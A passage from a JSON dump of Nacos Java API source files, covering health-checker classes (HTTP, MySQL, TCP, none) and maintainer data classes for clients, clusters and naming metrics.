result.setHealthy(healthy);\n        }\n        if (!Objects.isNull(enabled)) {\n            result.setEnabled(enabled);\n        }\n        if (!Objects.isNull(ephemeral)) {\n            result.setEphemeral(ephemeral);\n        }\n        if (!Objects.isNull(clusterName)) {\n            result.setClusterName(clusterName);\n        }\n        if (!Objects.isNull(serviceName)) {\n            result.setServiceName(serviceName);\n        }\n        result.setMetadata(metadata);\n        return result;\n    }\n    \n    public static InstanceBuilder newBuilder() {\n        return new InstanceBuilder();\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/pojo/healthcheck/AbstractHealthChecker.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.healthcheck;\n\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.AbstractHealthChecker.None;\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.impl.Http;\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.impl.Mysql;\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.impl.Tcp;\nimport com.fasterxml.jackson.annotation.JsonIgnore;\nimport com.fasterxml.jackson.annotation.JsonSubTypes;\nimport com.fasterxml.jackson.annotation.JsonTypeInfo;\nimport com.fasterxml.jackson.annotation.JsonTypeInfo.Id;\n\nimport java.io.Serializable;\n\n/**\n * Abstract health checker.\n *\n * @author nkorange\n */\n@JsonTypeInfo(use = Id.NAME, property = \"type\", defaultImpl = None.class)\n@JsonSubTypes({@JsonSubTypes.Type(name = Http.TYPE, value = Http.class),\n        @JsonSubTypes.Type(name = Mysql.TYPE, value = Mysql.class),\n        @JsonSubTypes.Type(name = Tcp.TYPE, value = Tcp.class),\n        @JsonSubTypes.Type(name = None.TYPE, value = None.class)})\npublic abstract class AbstractHealthChecker implements Cloneable, Serializable {\n    \n    private static final long serialVersionUID = 3848305577423336421L;\n    \n    @JsonIgnore\n    protected final String type;\n    \n    protected AbstractHealthChecker(String type) {\n        this.type = type;\n    }\n    \n    public String getType() {\n        return type;\n    }\n    \n    /**\n     * Clone all fields of this instance to another one.\n     *\n     * @return Another instance with exactly the same fields\n     * @throws CloneNotSupportedException clone not supported exception\n     */\n    @Override\n    public abstract AbstractHealthChecker clone() throws CloneNotSupportedException;\n    \n    /**\n     * Default implementation of Health checker.\n     */\n    public static class None extends AbstractHealthChecker {\n        \n        public static final String TYPE = \"NONE\";\n    \n        private static final long serialVersionUID = -760631831097384737L;\n    \n        public None() {\n            super(TYPE);\n        }\n        \n        @Override\n        public AbstractHealthChecker clone() throws CloneNotSupportedException {\n            return new None();\n        }\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/pojo/healthcheck/HealthCheckType.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.healthcheck;\n\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.impl.Http;\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.impl.Mysql;\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.impl.Tcp;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * Health check type.\n *\n * @author nkorange\n */\npublic enum HealthCheckType {\n    /**\n     * TCP type.\n     */\n    TCP(Tcp.class),\n    /**\n     * HTTP type.\n     */\n    HTTP(Http.class),\n    /**\n     * MySQL type.\n     */\n    MYSQL(Mysql.class),\n    /**\n     * No check.\n     */\n    NONE(AbstractHealthChecker.None.class);\n    \n    private final Class<? extends AbstractHealthChecker> healthCheckerClass;\n    \n    /**\n     * In JDK 1.6, the map need full class for general. So ignore check style.\n     */\n    @SuppressWarnings(\"checkstyle:linelength\")\n    private static final Map<String, Class<? extends AbstractHealthChecker>> EXTEND = new ConcurrentHashMap<>();\n    \n    HealthCheckType(Class<? extends AbstractHealthChecker> healthCheckerClass) {\n        this.healthCheckerClass = healthCheckerClass;\n    }\n    \n    /**\n     * Register extend health checker.\n     *\n     * @param type               type name of extend health checker\n     * @param healthCheckerClass class of extend health checker\n     */\n    public static void registerHealthChecker(String type, Class<? extends AbstractHealthChecker> healthCheckerClass) {\n        if (!EXTEND.containsKey(type)) {\n            EXTEND.put(type, healthCheckerClass);\n            HealthCheckerFactory.registerSubType(healthCheckerClass, type);\n        }\n    }\n    \n    /**\n     * Get health checker class from type.\n     *\n     * @param type type name of extend health checker\n     * @return registered class if have, otherwise default class\n     */\n    public static Class<? extends AbstractHealthChecker> ofHealthCheckerClass(String type) {\n        HealthCheckType enumType;\n        try {\n            enumType = valueOf(type);\n        } catch (Exception e) {\n            return EXTEND.get(type);\n        }\n        return enumType.healthCheckerClass;\n    }\n    \n    public static List<Class<? extends AbstractHealthChecker>> getLoadedHealthCheckerClasses() {\n        List<Class<? extends AbstractHealthChecker>> all = new ArrayList<>();\n        for (HealthCheckType type : values()) {\n            all.add(type.healthCheckerClass);\n        }\n        for (Map.Entry<String, Class<? extends AbstractHealthChecker>> entry : EXTEND.entrySet()) {\n            all.add(entry.getValue());\n        }\n        return all;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/pojo/healthcheck/HealthCheckerFactory.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.healthcheck;\n\nimport com.alibaba.nacos.api.exception.runtime.NacosDeserializationException;\nimport com.alibaba.nacos.api.exception.runtime.NacosSerializationException;\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.AbstractHealthChecker.None;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.fasterxml.jackson.databind.jsontype.NamedType;\n\nimport java.io.IOException;\n\n/**\n * health checker factory.\n *\n * @author yangyi\n */\npublic class HealthCheckerFactory {\n    \n    private static final ObjectMapper MAPPER = new ObjectMapper();\n    \n    static {\n        MAPPER.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n    }\n    \n    /**\n     * Register new sub type of health checker to factory for serialize and deserialize.\n     *\n     * @param extendHealthChecker extend health checker\n     */\n    public static void registerSubType(AbstractHealthChecker extendHealthChecker) {\n        registerSubType(extendHealthChecker.getClass(), extendHealthChecker.getType());\n    }\n    \n    /**\n     * Register new sub type of health checker to factory for serialize and deserialize.\n     *\n     * @param extendHealthCheckerClass extend health checker\n     * @param typeName                 typeName of health checker\n     */\n    public static void registerSubType(Class<? extends AbstractHealthChecker> extendHealthCheckerClass,\n            String typeName) {\n        MAPPER.registerSubtypes(new NamedType(extendHealthCheckerClass, typeName));\n    }\n    \n    /**\n     * Create default {@link None} health checker.\n     *\n     * @return new none health checker\n     */\n    public static None createNoneHealthChecker() {\n        return new None();\n    }\n    \n    /**\n     * Deserialize and create an instance of health checker.\n     *\n     * @param jsonString json string of health checker\n     * @return new instance\n     */\n    public static AbstractHealthChecker deserialize(String jsonString) {\n        try {\n            return MAPPER.readValue(jsonString, AbstractHealthChecker.class);\n        } catch (IOException e) {\n            throw new NacosDeserializationException(AbstractHealthChecker.class, e);\n        }\n    }\n    \n    /**\n     * Serialize an instance of health checker to json.\n     *\n     * @param healthChecker health checker instance\n     * @return son string after serializing\n     */\n    public static String serialize(AbstractHealthChecker healthChecker) {\n        try {\n            return MAPPER.writeValueAsString(healthChecker);\n        } catch (JsonProcessingException e) {\n            throw new NacosSerializationException(healthChecker.getClass(), e);\n        }\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/pojo/healthcheck/impl/Http.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.healthcheck.impl;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.AbstractHealthChecker;\nimport com.alibaba.nacos.api.utils.StringUtils;\nimport com.fasterxml.jackson.annotation.JsonIgnore;\n\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Objects;\n\n/**\n * Implementation of health checker for HTTP.\n *\n * @author yangyi\n */\npublic class Http extends AbstractHealthChecker {\n    \n    public static final String TYPE = \"HTTP\";\n    \n    private static final long serialVersionUID = 551826315222362349L;\n    \n    private String path = \"\";\n    \n    private String headers = \"\";\n    \n    private int expectedResponseCode = 200;\n    \n    public Http() {\n        super(Http.TYPE);\n    }\n    \n    public int getExpectedResponseCode() {\n        return this.expectedResponseCode;\n    }\n    \n    public void setExpectedResponseCode(final int expectedResponseCode) {\n        this.expectedResponseCode = expectedResponseCode;\n    }\n    \n    public String getPath() {\n        return this.path;\n    }\n    \n    public void setPath(final String path) {\n        this.path = path;\n    }\n    \n    public String getHeaders() {\n        return this.headers;\n    }\n    \n    public void setHeaders(final String headers) {\n        this.headers = headers;\n    }\n    \n    @JsonIgnore\n    public Map<String, String> getCustomHeaders() {\n        if (StringUtils.isBlank(headers)) {\n            return Collections.emptyMap();\n        }\n        final Map<String, String> headerMap = new HashMap<>(16);\n        for (final String s : headers.split(Constants.NAMING_HTTP_HEADER_SPLITTER)) {\n            final String[] splits = s.split(\":\");\n            if (splits.length != 2) {\n                continue;\n            }\n            headerMap.put(StringUtils.trim(splits[0]), StringUtils.trim(splits[1]));\n        }\n        return headerMap;\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(path, headers, expectedResponseCode);\n    }\n    \n    @Override\n    public boolean equals(final Object obj) {\n        if (!(obj instanceof Http)) {\n            return false;\n        }\n        \n        final Http other = (Http) obj;\n        \n        if (!StringUtils.equals(path, other.getPath())) {\n            return false;\n        }\n        if (!StringUtils.equals(headers, other.getHeaders())) {\n            return false;\n        }\n        return expectedResponseCode == other.getExpectedResponseCode();\n    }\n    \n    @Override\n    public Http clone() throws CloneNotSupportedException {\n        final Http config = new Http();\n        config.setPath(getPath());\n        config.setHeaders(getHeaders());\n        config.setExpectedResponseCode(getExpectedResponseCode());\n        return config;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/pojo/healthcheck/impl/Mysql.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.healthcheck.impl;\n\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.AbstractHealthChecker;\nimport com.alibaba.nacos.api.utils.StringUtils;\n\nimport java.util.Objects;\n\n/**\n * Implementation of health checker for MYSQL.\n *\n * @author yangyi\n */\npublic class Mysql extends AbstractHealthChecker {\n    \n    public static final String TYPE = \"MYSQL\";\n    \n    private static final long serialVersionUID = 7928108094599401491L;\n    \n    private String user;\n    \n    private String pwd;\n    \n    private String cmd;\n    \n    public Mysql() {\n        super(Mysql.TYPE);\n    }\n    \n    public String getCmd() {\n        return this.cmd;\n    }\n    \n    public String getPwd() {\n        return this.pwd;\n    }\n    \n    public String getUser() {\n        return this.user;\n    }\n    \n    public void setUser(final String user) {\n        this.user = user;\n    }\n    \n    public void setCmd(final String cmd) {\n        this.cmd = cmd;\n    }\n    \n    public void setPwd(final String pwd) {\n        this.pwd = pwd;\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(user, pwd, cmd);\n    }\n    \n    @Override\n    public boolean equals(final Object obj) {\n        if (!(obj instanceof Mysql)) {\n            return false;\n        }\n        \n        final Mysql other = (Mysql) obj;\n        \n        if (!StringUtils.equals(user, other.getUser())) {\n            return false;\n        }\n        \n        if (!StringUtils.equals(pwd, other.getPwd())) {\n            return false;\n        }\n        \n        return StringUtils.equals(cmd, other.getCmd());\n    }\n    \n    @Override\n    public Mysql clone() throws CloneNotSupportedException {\n        final Mysql config = new Mysql();\n        config.setUser(getUser());\n        config.setPwd(getPwd());\n        config.setCmd(getCmd());\n        return config;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/pojo/healthcheck/impl/Tcp.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.healthcheck.impl;\n\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.AbstractHealthChecker;\n\nimport java.util.Objects;\n\n/**\n * Implementation of health checker for TCP.\n *\n * @author yangyi\n */\npublic class Tcp extends AbstractHealthChecker {\n    \n    public static final String TYPE = \"TCP\";\n    \n    private static final long serialVersionUID = -9116042038157496294L;\n    \n    public Tcp() {\n        super(TYPE);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(TYPE);\n    }\n    \n    @Override\n    public boolean equals(Object obj) {\n        return obj instanceof Tcp;\n    }\n    \n    @Override\n    public Tcp clone() throws CloneNotSupportedException {\n        return new Tcp();\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/pojo/maintainer/ClientPublisherInfo.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.maintainer;\n\nimport java.io.Serializable;\n\n/**\n * Nacos naming client publisher information.\n *\n * @author xiweng.yy\n */\npublic class ClientPublisherInfo implements Serializable {\n    \n    private static final long serialVersionUID = -4858433977035198914L;\n    \n    private String clientId;\n    \n    private String ip;\n    \n    private int port;\n    \n    private String clusterName;\n    \n    public String getClientId() {\n        return clientId;\n    }\n    \n    public void setClientId(String clientId) {\n        this.clientId = clientId;\n    }\n    \n    public String getIp() {\n        return ip;\n    }\n    \n    public void setIp(String ip) {\n        this.ip = ip;\n    }\n    \n    public int getPort() {\n        return port;\n    }\n    \n    public void setPort(int port) {\n        this.port = port;\n    }\n    \n    public String getClusterName() {\n        return clusterName;\n    }\n    \n    public void setClusterName(String clusterName) {\n        this.clusterName = clusterName;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/pojo/maintainer/ClientServiceInfo.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.maintainer;\n\nimport java.io.Serializable;\n\n/**\n * Nacos naming client service information.\n *\n * @author xiweng.yy\n */\npublic class ClientServiceInfo implements Serializable {\n    \n    private static final long serialVersionUID = 7400821120040393395L;\n    \n    private String namespaceId;\n    \n    private String groupName;\n    \n    private String serviceName;\n    \n    private ClientPublisherInfo publisherInfo;\n    \n    private ClientSubscriberInfo subscriberInfo;\n    \n    public String getNamespaceId() {\n        return namespaceId;\n    }\n    \n    public void setNamespaceId(String namespaceId) {\n        this.namespaceId = namespaceId;\n    }\n    \n    public String getGroupName() {\n        return groupName;\n    }\n    \n    public void setGroupName(String groupName) {\n        this.groupName = groupName;\n    }\n    \n    public String getServiceName() {\n        return serviceName;\n    }\n    \n    public void setServiceName(String serviceName) {\n        this.serviceName = serviceName;\n    }\n    \n    public ClientPublisherInfo getPublisherInfo() {\n        return publisherInfo;\n    }\n    \n    public void setPublisherInfo(ClientPublisherInfo publisherInfo) {\n        this.publisherInfo = publisherInfo;\n    }\n    \n    public ClientSubscriberInfo getSubscriberInfo() {\n        return subscriberInfo;\n    }\n    \n    public void setSubscriberInfo(ClientSubscriberInfo subscriberInfo) {\n        this.subscriberInfo = subscriberInfo;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/pojo/maintainer/ClientSubscriberInfo.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.maintainer;\n\nimport java.io.Serializable;\n\n/**\n * Nacos naming client subscriber information.\n *\n * @author xiweng.yy\n */\npublic class ClientSubscriberInfo implements Serializable {\n    \n    private static final long serialVersionUID = 1889748153147644741L;\n    \n    private String clientId;\n    \n    private String appName;\n    \n    private String agent;\n    \n    private String address;\n    \n    public String getClientId() {\n        return clientId;\n    }\n    \n    public void setClientId(String clientId) {\n        this.clientId = clientId;\n    }\n    \n    public String getAppName() {\n        return appName;\n    }\n    \n    public void setAppName(String appName) {\n        this.appName = appName;\n    }\n    \n    public String getAgent() {\n        return agent;\n    }\n    \n    public void setAgent(String agent) {\n        this.agent = agent;\n    }\n    \n    public String getAddress() {\n        return address;\n    }\n    \n    public void setAddress(String address) {\n        this.address = address;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/pojo/maintainer/ClientSummaryInfo.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.maintainer;\n\nimport java.io.Serializable;\n\n/**\n * Nacos naming {@link com.alibaba.nacos.naming.core.v2.client.Client} summary information.\n *\n * @author xiweng.yy\n */\npublic class ClientSummaryInfo implements Serializable {\n    \n    private static final long serialVersionUID = -4482158251664716884L;\n    \n    private String clientId;\n    \n    private boolean ephemeral;\n    \n    private long lastUpdatedTime;\n    \n    /**\n     * The type of client, `connection` for upper 2.0 client, otherwise is `ipPort`.\n     */\n    private String clientType;\n    \n    /**\n     * Following fields are only for `connection` {@link #clientType}.\n     */\n    private String connectType;\n    \n    private String appName;\n    \n    private String version;\n    \n    private String clientIp;\n    \n    private int clientPort;\n    \n    public String getClientId() {\n        return clientId;\n    }\n    \n    public void setClientId(String clientId) {\n        this.clientId = clientId;\n    }\n    \n    public boolean isEphemeral() {\n        return ephemeral;\n    }\n    \n    public void setEphemeral(boolean ephemeral) {\n        this.ephemeral = ephemeral;\n    }\n    \n    public long getLastUpdatedTime() {\n        return lastUpdatedTime;\n    }\n    \n    public void setLastUpdatedTime(long lastUpdatedTime) {\n        this.lastUpdatedTime = lastUpdatedTime;\n    }\n    \n    public String getClientType() {\n        return clientType;\n    }\n    \n    public void setClientType(String clientType) {\n        this.clientType = clientType;\n    }\n    \n    public String getConnectType() {\n        return connectType;\n    }\n    \n    public void setConnectType(String connectType) {\n        this.connectType = connectType;\n    }\n    \n    public String getAppName() {\n        return appName;\n    }\n    \n    public void setAppName(String appName) {\n        this.appName = appName;\n    }\n    \n    public String getVersion() {\n        return version;\n    }\n    \n    public void setVersion(String version) {\n        this.version = version;\n    }\n    \n    public String getClientIp() {\n        return clientIp;\n    }\n    \n    public void setClientIp(String clientIp) {\n        this.clientIp = clientIp;\n    }\n    \n    public int getClientPort() {\n        return clientPort;\n    }\n    \n    public void setClientPort(int clientPort) {\n        this.clientPort = clientPort;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/pojo/maintainer/ClusterInfo.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.maintainer;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.NacosForm;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.AbstractHealthChecker;\nimport com.alibaba.nacos.api.utils.StringUtils;\n\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Cluster detail information for nacos maintain client, contain cluster detail information; instance information is optional.\n *\n * <p>\n *     Cluster detail information can't get by independent, must be get by {@link ServiceDetailInfo#getClusterMap()}\n * </p>\n *\n * @author xiweng.yy\n */\npublic class ClusterInfo implements NacosForm {\n\n    private static final long serialVersionUID = 2146881454057032105L;\n\n    private String clusterName;\n    \n    private AbstractHealthChecker healthChecker;\n    \n    private int healthyCheckPort = 80;\n    \n    /**\n     * Whether Nacos use instance port to do health check.\n     */\n    private boolean useInstancePortForCheck = true;\n    \n    private Map<String, String> metadata;\n    \n    private List<Instance> hosts;\n    \n    /**\n     * Getter method for property <tt>hosts</tt>.\n     *\n     * @return property value of hosts\n     */\n    public List<Instance> getHosts() {\n        return hosts;\n    }\n    \n    /**\n     * Setter method for property <tt>hosts </tt>.\n     *\n     * @param hosts value to be assigned to property hosts\n     */\n    public void setHosts(List<Instance> hosts) {\n        this.hosts = hosts;\n    }\n    \n    public String getClusterName() {\n        return clusterName;\n    }\n    \n    public void setClusterName(String clusterName) {\n        this.clusterName = clusterName;\n    }\n    \n    public AbstractHealthChecker getHealthChecker() {\n        return healthChecker;\n    }\n    \n    public void setHealthChecker(AbstractHealthChecker healthChecker) {\n        this.healthChecker = healthChecker;\n    }\n    \n    public Map<String, String> getMetadata() {\n        return metadata;\n    }\n    \n    public void setMetadata(Map<String, String> metadata) {\n        this.metadata = metadata;\n    }\n    \n    public int getHealthyCheckPort() {\n        return healthyCheckPort;\n    }\n    \n    public void setHealthyCheckPort(int healthyCheckPort) {\n        this.healthyCheckPort = healthyCheckPort;\n    }\n    \n    public boolean isUseInstancePortForCheck() {\n        return useInstancePortForCheck;\n    }\n    \n    public void setUseInstancePortForCheck(boolean useInstancePortForCheck) {\n        this.useInstancePortForCheck = useInstancePortForCheck;\n    }\n    \n    @Override\n    public void validate() throws NacosApiException {\n        if (StringUtils.isEmpty(clusterName)) {\n            this.clusterName = Constants.DEFAULT_CLUSTER_NAME;\n        }\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/pojo/maintainer/InstanceMetadataBatchResult.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.maintainer;\n\nimport java.io.Serializable;\nimport java.util.List;\n\n/**\n * Nacos instance metadata batch operation result, include updated instance ip list.\n *\n * @author xiweng.yy\n */\npublic class InstanceMetadataBatchResult implements Serializable {\n    \n    private static final long serialVersionUID = -5793871911227035729L;\n    \n    private List<String> updated;\n    \n    public InstanceMetadataBatchResult() {\n    }\n    \n    public InstanceMetadataBatchResult(List<String> updated) {\n        this.updated = updated;\n    }\n    \n    public List<String> getUpdated() {\n        return updated;\n    }\n    \n    public void setUpdated(List<String> updated) {\n        this.updated = updated;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/pojo/maintainer/MetricsInfo.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.maintainer;\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\n\nimport java.io.Serializable;\n\n/**\n * Nacos Naming Metrics Information.\n *\n * @author xiweng.yy\n */\n@JsonInclude(JsonInclude.Include.NON_NULL)\npublic class MetricsInfo implements Serializable {\n    \n    private static final long serialVersionUID = -5064297490423743871L;\n    \n    private String status;\n    \n    private Integer serviceCount;\n    \n    private Integer instanceCount;\n    \n    private Integer subscribeCount;\n    \n    private Integer clientCount;\n    \n    private Integer connectionBasedClientCount;\n    \n    private Integer ephemeralIpPortClientCount;\n    \n    private Integer persistentIpPortClientCount;\n    \n    private Integer responsibleClientCount;\n    \n    public MetricsInfo() {\n    }\n    \n    public String getStatus() {\n        return status;\n    }\n    \n    public void setStatus(String status) {\n        this.status = status;\n    }\n    \n    public Integer getServiceCount() {\n        return serviceCount;\n    }\n    \n    public void setServiceCount(Integer serviceCount) {\n        this.serviceCount = serviceCount;\n    }\n    \n    public Integer getInstanceCount() {\n        return instanceCount;\n    }\n    \n    public void setInstanceCount(Integer instanceCount) {\n        this.instanceCount = instanceCount;\n    }\n    \n    public Integer getSubscribeCount() {\n        return subscribeCount;\n    }\n    \n    public void setSubscribeCount(Integer subscribeCount) {\n        this.subscribeCount = subscribeCount;\n    }\n    \n    public Integer getClientCount() {\n        return clientCount;\n    }\n    \n    public void setClientCount(Integer clientCount) {\n        this.clientCount = clientCount;\n    }\n    \n    public Integer getConnectionBasedClientCount() {\n        return connectionBasedClientCount;\n    }\n    \n    public void setConnectionBasedClientCount(Integer connectionBasedClientCount) {\n        this.connectionBasedClientCount = connectionBasedClientCount;\n    }\n    \n    public Integer getEphemeralIpPortClientCount() {\n        return ephemeralIpPortClientCount;\n    }\n    \n    public void setEphemeralIpPortClientCount(Integer ephemeralIpPortClientCount) {\n        this.ephemeralIpPortClientCount = ephemeralIpPortClientCount;\n    }\n    \n    public Integer getPersistentIpPortClientCount() {\n        return 